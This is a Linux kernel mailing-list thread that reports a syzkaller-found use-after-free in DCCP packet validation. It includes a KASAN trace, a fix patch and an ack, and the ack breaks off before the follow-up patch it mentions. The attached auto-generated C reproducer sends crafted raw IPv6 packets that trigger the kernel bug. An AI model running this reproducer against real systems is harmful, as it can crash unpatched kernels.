* net/dccp: use-after-free in dccp_invalid_packet
@ 2016-11-28 13:22 Andrey Konovalov
2016-11-28 14:26 ` [PATCH net] net/dccp: fix " Eric Dumazet
0 siblings, 1 reply; 8+ messages in thread
From: Andrey Konovalov @ 2016-11-28 13:22 UTC (permalink / raw)
To: Gerrit Renker, David S. Miller, dccp, netdev, LKML
Cc: Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
[-- Attachment #1: Type: text/plain, Size: 8827 bytes --]
Hi!
I've got the following error report while running the syzkaller fuzzer.
On commit d8e435f3ab6fea2ea324dce72b51dd7761747523 (Nov 26).
dh->dccph_doff is being accessed (line 731) right after skb was freed
(line 732) in net/dccp/ipv4.c.
A reproducer is attached.
==================================================================
BUG: KASAN: use-after-free in dccp_invalid_packet+0x788/0x800
Read of size 1 at addr ffff880066f0e7c8 by task a.out/3895
page:ffffea00019bc380 count:1 mapcount:0 mapping: (null)
index:0x0 compound_mapcount: 0
flags: 0x100000000004080(slab|head)
page dumped because: kasan: bad access detected
CPU: 1 PID: 3895 Comm: a.out Not tainted 4.9.0-rc6+ #457
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
ffff88006cd07758 ffffffff81c73b14 ffff88006cd077e8 ffff880066f0e7c8
00000000000000fa 00000000000000fb ffff88006cd077d8 ffffffff81637962
ffff88006cd07810 ffffffff82cc9c90 ffffffff82cabf7c 0000000000000296
Call Trace:
<IRQ> [ 27.672034] [<ffffffff81c73b14>] dump_stack+0xb3/0x10f
[< inline >] describe_address mm/kasan/report.c:259
[<ffffffff81637962>] kasan_report_error+0x122/0x560 mm/kasan/report.c:365
[< inline >] kasan_report mm/kasan/report.c:387
[<ffffffff81637dde>] __asan_report_load1_noabort+0x3e/0x40
mm/kasan/report.c:405
[<ffffffff839e8158>] dccp_invalid_packet+0x788/0x800 net/dccp/ipv4.c:732
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
[<ffffffff840f3c1c>] do_softirq_own_stack+0x1c/0x30
arch/x86/entry/entry_64.S:904
<EOI> [ 27.672034] [<ffffffff81251370>] do_softirq.part.17+0x60/0xa0
[< inline >] do_softirq kernel/softirq.c:176
[<ffffffff81251466>] __local_bh_enable_ip+0xb6/0xc0 kernel/softirq.c:181
[< inline >] local_bh_enable ./include/linux/bottom_half.h:31
[< inline >] rcu_read_unlock_bh ./include/linux/rcupdate.h:967
[<ffffffff8340b6c0>] ip6_finish_output2+0xb70/0x1f30 net/ipv6/ip6_output.c:122
[<ffffffff834152b9>] ip6_finish_output+0x3c9/0x7e0 net/ipv6/ip6_output.c:139
[< inline >] NF_HOOK_COND ./include/linux/netfilter.h:246
[<ffffffff8341588d>] ip6_output+0x1bd/0x6b0 net/ipv6/ip6_output.c:153
[< inline >] dst_output ./include/net/dst.h:501
[<ffffffff8357a116>] ip6_local_out+0x96/0x170 net/ipv6/output_core.c:170
[<ffffffff83417b63>] ip6_send_skb+0xa3/0x340 net/ipv6/ip6_output.c:1712
[<ffffffff83417eb5>] ip6_push_pending_frames+0xb5/0xe0
net/ipv6/ip6_output.c:1732
[< inline >] rawv6_push_pending_frames net/ipv6/raw.c:607
[<ffffffff83489a9e>] rawv6_sendmsg+0x1c4e/0x2c20 net/ipv6/raw.c:920
[<ffffffff832a1057>] inet_sendmsg+0x317/0x4e0 net/ipv4/af_inet.c:734
[< inline >] sock_sendmsg_nosec net/socket.c:621
[<ffffffff82c9d76c>] sock_sendmsg+0xcc/0x110 net/socket.c:631
[<ffffffff82c9f1b7>] ___sys_sendmsg+0x2d7/0x8b0 net/socket.c:1954
[<ffffffff82ca1888>] __sys_sendmmsg+0x158/0x390 net/socket.c:2044
[< inline >] SYSC_sendmmsg net/socket.c:2075
[<ffffffff82ca1af5>] SyS_sendmmsg+0x35/0x60 net/socket.c:2070
[<ffffffff840f2c41>] entry_SYSCALL_64_fastpath+0x1f/0xc2
arch/x86/entry/entry_64.S:209
The buggy address belongs to the object at ffff880066f0e780
which belongs to the cache kmalloc-512 of size 512
The buggy address ffff880066f0e7c8 is located 72 bytes inside
of 512-byte region [ffff880066f0e780, ffff880066f0e980)
Freed by task 3895:
[<ffffffff811aa1b6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57
[<ffffffff81636a76>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[< inline >] set_track mm/kasan/kasan.c:507
[<ffffffff816372d3>] kasan_slab_free+0x73/0xc0 mm/kasan/kasan.c:571
[< inline >] slab_free_hook mm/slub.c:1352
[< inline >] slab_free_freelist_hook mm/slub.c:1374
[< inline >] slab_free mm/slub.c:2951
[<ffffffff816337b8>] kfree+0xe8/0x2b0 mm/slub.c:3871
[<ffffffff82cb6748>] skb_free_head+0x78/0xb0 net/core/skbuff.c:580
[<ffffffff82cc50fb>] pskb_expand_head+0x28b/0x8f0 net/core/skbuff.c:1244
[<ffffffff82cc954c>] __pskb_pull_tail+0xcc/0x1190 net/core/skbuff.c:1613
[< inline >] pskb_may_pull ./include/linux/skbuff.h:1966
[<ffffffff839e80bb>] dccp_invalid_packet+0x6eb/0x800 net/dccp/ipv4.c:731
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
Allocated by task 3895:
[<ffffffff811aa1b6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57
[<ffffffff81636a76>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[< inline >] set_track mm/kasan/kasan.c:507
[<ffffffff81636ceb>] kasan_kmalloc+0xab/0xe0 mm/kasan/kasan.c:598
[<ffffffff81637252>] kasan_slab_alloc+0x12/0x20 mm/kasan/kasan.c:537
[< inline >] slab_post_alloc_hook mm/slab.h:417
[< inline >] slab_alloc_node mm/slub.c:2708
[<ffffffff81635fab>] __kmalloc_node_track_caller+0xcb/0x390 mm/slub.c:4270
[<ffffffff82cb7671>] __kmalloc_reserve.isra.35+0x41/0xe0 net/core/skbuff.c:138
[<ffffffff82cc4f8c>] pskb_expand_head+0x11c/0x8f0 net/core/skbuff.c:1212
[<ffffffff82cc954c>] __pskb_pull_tail+0xcc/0x1190 net/core/skbuff.c:1613
[< inline >] pskb_may_pull ./include/linux/skbuff.h:1966
[<ffffffff839e804b>] dccp_invalid_packet+0x67b/0x800 net/dccp/ipv4.c:708
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
Memory state around the buggy address:
ffff880066f0e680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff880066f0e700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff880066f0e780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff880066f0e800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff880066f0e880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
[-- Attachment #2: dccp-invalid-packet-uaf-poc.c --]
[-- Type: text/x-csrc, Size: 14109 bytes --]
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#ifndef __NR_socket
#define __NR_socket 41
#endif
#ifndef __NR_sendmsg
#define __NR_sendmsg 46
#endif
#ifndef __NR_sendmmsg
#define __NR_sendmmsg 307
#endif
#ifndef __NR_syz_emit_ethernet
#define __NR_syz_emit_ethernet 1000006
#endif
#ifndef __NR_syz_fuse_mount
#define __NR_syz_fuse_mount 1000004
#endif
#ifndef __NR_syz_fuseblk_mount
#define __NR_syz_fuseblk_mount 1000005
#endif
#ifndef __NR_syz_open_dev
#define __NR_syz_open_dev 1000002
#endif
#ifndef __NR_syz_open_pts
#define __NR_syz_open_pts 1000003
#endif
#ifndef __NR_mmap
#define __NR_mmap 9
#endif
#ifndef __NR_connect
#define __NR_connect 42
#endif
#ifndef __NR_syz_test
#define __NR_syz_test 1000001
#endif
#define SYZ_SANDBOX_NONE 1
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/capability.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <linux/sched.h>
#include <net/if_arp.h>
#include <assert.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
const int kFailStatus = 67;
const int kErrorStatus = 68;
const int kRetryStatus = 69;
__attribute__((noreturn)) void fail(const char* msg, ...)
{
int e = errno;
fflush(stdout);
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
exit(kFailStatus);
}
__attribute__((noreturn)) void exitf(const char* msg, ...)
{
int e = errno;
fflush(stdout);
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
exit(kRetryStatus);
}
static int flag_debug;
void debug(const char* msg, ...)
{
if (!flag_debug)
return;
va_list args;
va_start(args, msg);
vfprintf(stdout, msg, args);
va_end(args);
fflush(stdout);
}
__thread int skip_segv;
__thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* uctx)
{
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED))
_longjmp(segv_env, 1);
exit(sig);
}
static void install_segv_handler()
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block",
(uint8_t)a1, (uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf));
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
static uintptr_t syz_open_pts(uintptr_t a0, uintptr_t a1)
{
int ptyno = 0;
if (ioctl(a0, TIOCGPTN, &ptyno))
return -1;
char buf[128];
sprintf(buf, "/dev/pts/%d", ptyno);
return open(buf, a1, 0);
}
static uintptr_t syz_fuse_mount(uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5)
{
uint64_t target = a0;
uint64_t mode = a1;
uint64_t uid = a2;
uint64_t gid = a3;
uint64_t maxread = a4;
uint64_t flags = a5;
int fd = open("/dev/fuse", O_RDWR);
if (fd == -1)
return fd;
char buf[1024];
sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
(long)uid, (long)gid, (unsigned)mode & ~3u);
if (maxread != 0)
sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
if (mode & 1)
strcat(buf, ",default_permissions");
if (mode & 2)
strcat(buf, ",allow_other");
syscall(SYS_mount, "", target, "fuse", flags, buf);
return fd;
}
static uintptr_t syz_fuseblk_mount(uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5,
uintptr_t a6, uintptr_t a7)
{
uint64_t target = a0;
uint64_t blkdev = a1;
uint64_t mode = a2;
uint64_t uid = a3;
uint64_t gid = a4;
uint64_t maxread = a5;
uint64_t blksize = a6;
uint64_t flags = a7;
int fd = open("/dev/fuse", O_RDWR);
if (fd == -1)
return fd;
if (syscall(SYS_mknodat, AT_FDCWD, blkdev, S_IFBLK, makedev(7, 199)))
return fd;
char buf[256];
sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
(long)uid, (long)gid, (unsigned)mode & ~3u);
if (maxread != 0)
sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
if (blksize != 0)
sprintf(buf + strlen(buf), ",blksize=%ld", (long)blksize);
if (mode & 1)
strcat(buf, ",default_permissions");
if (mode & 2)
strcat(buf, ",allow_other");
syscall(SYS_mount, blkdev, target, "fuseblk", flags, buf);
return fd;
}
static uintptr_t execute_syscall(int nr, uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5,
uintptr_t a6, uintptr_t a7,
uintptr_t a8)
{
switch (nr) {
default:
return syscall(nr, a0, a1, a2, a3, a4, a5);
case __NR_syz_test:
return 0;
case __NR_syz_open_dev:
return syz_open_dev(a0, a1, a2);
case __NR_syz_open_pts:
return syz_open_pts(a0, a1);
case __NR_syz_fuse_mount:
return syz_fuse_mount(a0, a1, a2, a3, a4, a5);
case __NR_syz_fuseblk_mount:
return syz_fuseblk_mount(a0, a1, a2, a3, a4, a5, a6, a7);
}
}
static void setup_main_process()
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
install_segv_handler();
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
fail("failed to mkdtemp");
if (chmod(tmpdir, 0777))
fail("failed to chmod");
if (chdir(tmpdir))
fail("failed to chdir");
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 128 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
unshare(CLONE_NEWNS);
unshare(CLONE_NEWIPC);
unshare(CLONE_IO);
}
static int do_sandbox_none()
{
int pid = fork();
if (pid)
return pid;
sandbox_common();
loop();
exit(1);
}
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
int i;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exitf("opendir(%s) failed due to NOFILE, exiting");
}
exitf("opendir(%s) failed", dir);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exitf("lstat(%s) failed", filename);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
for (i = 0;; i++) {
debug("unlink(%s)\n", filename);
if (unlink(filename) == 0)
break;
if (errno == EROFS) {
debug("ignoring EROFS\n");
break;
}
if (errno != EBUSY || i > 100)
exitf("unlink(%s) failed", filename);
debug("umount(%s)\n", filename);
if (umount2(filename, MNT_DETACH))
exitf("umount(%s) failed", filename);
}
}
closedir(dp);
for (i = 0;; i++) {
debug("rmdir(%s)\n", dir);
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EROFS) {
debug("ignoring EROFS\n");
break;
}
if (errno == EBUSY) {
debug("umount(%s)\n", dir);
if (umount2(dir, MNT_DETACH))
exitf("umount(%s) failed", dir);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exitf("rmdir(%s) failed", dir);
}
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
long r[39];
void loop()
{
memset(r, -1, sizeof(r));
r[0] = execute_syscall(__NR_mmap, 0x20000000ul, 0xe8b000ul, 0x3ul,
0x32ul, 0xfffffffffffffffful, 0x0ul, 0, 0, 0);
r[1] = execute_syscall(__NR_socket, 0xaul, 0x80003ul, 0x21ul, 0, 0, 0,
0, 0, 0);
NONFAILING(memcpy((void*)0x20e7dfe4, "\x0a\x00\x42\x42\xa0\xae\x78"
"\x03\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\xc1\x97\xc4\x9e",
28));
r[3] = execute_syscall(__NR_connect, r[1], 0x20e7dfe4ul, 0x1cul, 0, 0,
0, 0, 0, 0);
NONFAILING(*(uint64_t*)0x20e83000 = (uint64_t)0x20e80000);
NONFAILING(*(uint32_t*)0x20e83008 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e83010 = (uint64_t)0x2061bfd0);
NONFAILING(*(uint64_t*)0x20e83018 = (uint64_t)0x2);
NONFAILING(*(uint64_t*)0x20e83020 = (uint64_t)0x20027000);
NONFAILING(*(uint64_t*)0x20e83028 = (uint64_t)0x1);
NONFAILING(*(uint32_t*)0x20e83030 = (uint32_t)0x4);
NONFAILING(*(uint64_t*)0x2061bfd0 = (uint64_t)0x20e80f0d);
NONFAILING(*(uint64_t*)0x2061bfd8 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x2061bfe0 = (uint64_t)0x20e83000);
NONFAILING(*(uint64_t*)0x2061bfe8 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20027000 = (uint64_t)0x10);
NONFAILING(*(uint32_t*)0x20027008 = (uint32_t)0x3);
NONFAILING(*(uint32_t*)0x2002700c = (uint32_t)0x80);
r[18] = execute_syscall(__NR_sendmsg, r[1], 0x20e83000ul, 0x8000ul, 0,
0, 0, 0, 0, 0);
NONFAILING(*(uint64_t*)0x20e73000 = (uint64_t)0x0);
NONFAILING(*(uint32_t*)0x20e73008 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e73010 = (uint64_t)0x20e80000);
NONFAILING(*(uint64_t*)0x20e73018 = (uint64_t)0x5);
NONFAILING(*(uint64_t*)0x20e73020 = (uint64_t)0x20e77000);
NONFAILING(*(uint64_t*)0x20e73028 = (uint64_t)0x0);
NONFAILING(*(uint32_t*)0x20e73030 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e80000 = (uint64_t)0x20e85f97);
NONFAILING(*(uint64_t*)0x20e80008 = (uint64_t)0x69);
NONFAILING(*(uint64_t*)0x20e80010 = (uint64_t)0x20e86f39);
NONFAILING(*(uint64_t*)0x20e80018 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20e80020 = (uint64_t)0x20e87000);
NONFAILING(*(uint64_t*)0x20e80028 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20e80030 = (uint64_t)0x20e88f01);
NONFAILING(*(uint64_t*)0x20e80038 = (uint64_t)0xff);
NONFAILING(*(uint64_t*)0x20e80040 = (uint64_t)0x20e89f9f);
NONFAILING(*(uint64_t*)0x20e80048 = (uint64_t)0x0);
NONFAILING(memcpy(
(void*)0x20e85f97,
"\x39\xa4\x8d\x53\x4e\x54\x32\xc4\x2a\x71\xb9\xf1\xff\x1d\xd9\x47"
"\x78\x37\xb6\x72\xba\x74\xc9\xc3\xf1\x5f\x46\x3e\x14\xbb\xb9\x59"
"\xa3\x88\x40\x9c\x25\x1d\x5c\xf1\xa3\xca\x7e\xa6\x55\x44\x01\x01"
"\x9d\xab\x07\x96\x46\xa8\xe9\xa5\x2e\x74\x45\x8a\x00\xee\x71\xe6"
"\xab\x97\x46\xd2\x04\x32\xae\xb2\x68\x66\xcc\x0b\xf3\x0e\x7f\x8c"
"\x8e\x5e\xd0\xd8\x98\x7e\x54\x15\xa8\x03\x15\x1a\xb9\x9a\xf2\xdf"
"\x8e\x3b\xe2\xb8\xe7\xee\x46\xa5\x67",
105));
NONFAILING(memcpy(
(void*)0x20e88f01,
"\xfb\xba\xc0\xcf\x43\x0e\x9b\x34\x87\x5d\xa7\x7c\x88\x45\xe2\xd0"
"\x52\xbd\xaa\x84\xc2\xcd\x2b\xf2\x89\x73\xcc\x7f\x08\x06\xd6\xe9"
"\x88\xb7\x2d\xdb\x8a\xc4\x65\xb7\x08\x6b\x96\x9f\x7e\x13\xfe\x1c"
"\x73\x42\x07\x7c\xac\xc7\x89\x8a\xd3\xad\x57\x5b\x22\x9c\x48\x65"
"\x37\x86\x1f\xf0\xce\x2b\x22\xf1\x5c\x48\xaf\x63\x66\x34\x14\x19"
"\xba\xab\xf0\x83\x71\x6f\x19\xea\xd9\x9d\x25\x2f\xe5\x3d\xb1\x5f"
"\x98\xb5\x50\xc4\x6c\xd1\xe7\xe8\x77\x68\xdc\x4c\xbc\x94\x34\x53"
"\x73\xbe\x9c\x48\x5d\x87\x20\x79\x0d\x95\x62\xc1\x60\xea\xe3\x92"
"\x06\xed\x92\xd9\xb2\x76\xcb\xe6\x14\xd1\x72\xd1\x4e\x20\xed\x43"
"\x81\x67\x82\xf9\x87\xd4\x82\xd7\x98\xcf\x7f\xe0\x7a\x97\x0c\xd1"
"\xf7\x04\x11\x06\xef\x18\x44\xd0\xd3\x69\x04\x00\x42\x33\xc7\x40"
"\xdd\xca\x8e\xa3\x32\x52\x9d\x54\x31\x57\xcd\x01\x66\x33\xd2\x97"
"\xc6\xe6\xa6\x6c\x30\xf2\x8c\x80\xca\x75\xf1\x6b\x11\x71\xfd\x9b"
"\x05\x94\xf1\x56\x87\x40\xee\xb1\x7f\x0a\xb2\x9c\x92\x1a\xb0\xbc"
"\xb3\x18\x59\xb6\xb3\x84\x71\xdb\xff\x3e\x4c\x11\x4f\x7f\x04\x9f"
"\xdf\x7f\x09\xb7\xe2\xf0\x6f\xa9\x35\x22\x93\x09\x81\x18\xd7",
255));
r[38] = execute_syscall(__NR_sendmmsg, r[1], 0x20e73000ul, 0x1ul,
0x4004ul, 0, 0, 0, 0, 0);
}
int main()
{
setup_main_process();
int pid = do_sandbox_none();
int status = 0;
while (waitpid(pid, &status, __WALL) != pid) {
}
return 0;
}
^ permalink raw reply [flat|nested] 8+ messages in thread
* [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 13:22 net/dccp: use-after-free in dccp_invalid_packet Andrey Konovalov
@ 2016-11-28 14:26 ` Eric Dumazet
2016-11-28 14:40 ` Arnaldo Carvalho de Melo
2016-11-30 1:38 ` David Miller
0 siblings, 2 replies; 8+ messages in thread
From: Eric Dumazet @ 2016-11-28 14:26 UTC (permalink / raw)
To: Andrey Konovalov
Cc: Gerrit Renker, David S. Miller, dccp, netdev, LKML,
Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
From: Eric Dumazet <edumazet@google.com>
pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
in dccp_invalid_packet() or risk use after free.
Bug found by Andrey Konovalov using syzkaller.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Andrey Konovalov <andreyknvl@google.com>
---
net/dccp/ipv4.c | 12 +++++++-----
1 file changed, 7 insertions(+), 5 deletions(-)
diff --git a/net/dccp/ipv4.c b/net/dccp/ipv4.c
index b567c8725aea..edbe59d203ef 100644
--- a/net/dccp/ipv4.c
+++ b/net/dccp/ipv4.c
@@ -700,6 +700,7 @@ int dccp_invalid_packet(struct sk_buff *skb)
{
const struct dccp_hdr *dh;
unsigned int cscov;
+ u8 dccph_doff;
if (skb->pkt_type != PACKET_HOST)
return 1;
@@ -721,18 +722,19 @@ int dccp_invalid_packet(struct sk_buff *skb)
/*
* If P.Data Offset is too small for packet type, drop packet and return
*/
- if (dh->dccph_doff < dccp_hdr_len(skb) / sizeof(u32)) {
- DCCP_WARN("P.Data Offset(%u) too small\n", dh->dccph_doff);
+ dccph_doff = dh->dccph_doff;
+ if (dccph_doff < dccp_hdr_len(skb) / sizeof(u32)) {
+ DCCP_WARN("P.Data Offset(%u) too small\n", dccph_doff);
return 1;
}
/*
* If P.Data Offset is too too large for packet, drop packet and return
*/
- if (!pskb_may_pull(skb, dh->dccph_doff * sizeof(u32))) {
- DCCP_WARN("P.Data Offset(%u) too large\n", dh->dccph_doff);
+ if (!pskb_may_pull(skb, dccph_doff * sizeof(u32))) {
+ DCCP_WARN("P.Data Offset(%u) too large\n", dccph_doff);
return 1;
}
-
+ dh = dccp_hdr(skb);
/*
* If P.type is not Data, Ack, or DataAck and P.X == 0 (the packet
* has short sequence numbers), drop packet and return
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 14:26 ` [PATCH net] net/dccp: fix " Eric Dumazet
@ 2016-11-28 14:40 ` Arnaldo Carvalho de Melo
2016-11-28 14:47 ` Eric Dumazet
2016-11-30 1:38 ` David Miller
1 sibling, 1 reply; 8+ messages in thread
From: Arnaldo Carvalho de Melo @ 2016-11-28 14:40 UTC (permalink / raw)
To: Eric Dumazet
Cc: Andrey Konovalov, Gerrit Renker, David S. Miller, dccp, netdev,
LKML, Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
Em Mon, Nov 28, 2016 at 06:26:49AM -0800, Eric Dumazet escreveu:
> From: Eric Dumazet <edumazet@google.com>
>
> pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> in dccp_invalid_packet() or risk use after free.
>
> Bug found by Andrey Konovalov using syzkaller.
>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
> Reported-by: Andrey Konovalov <andreyknvl@google.com>
Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
I was about to send exactly this patch, and while looking at it I think
the patch below needs to go in as well, no? To follow the advice of that
Warning line there :-)
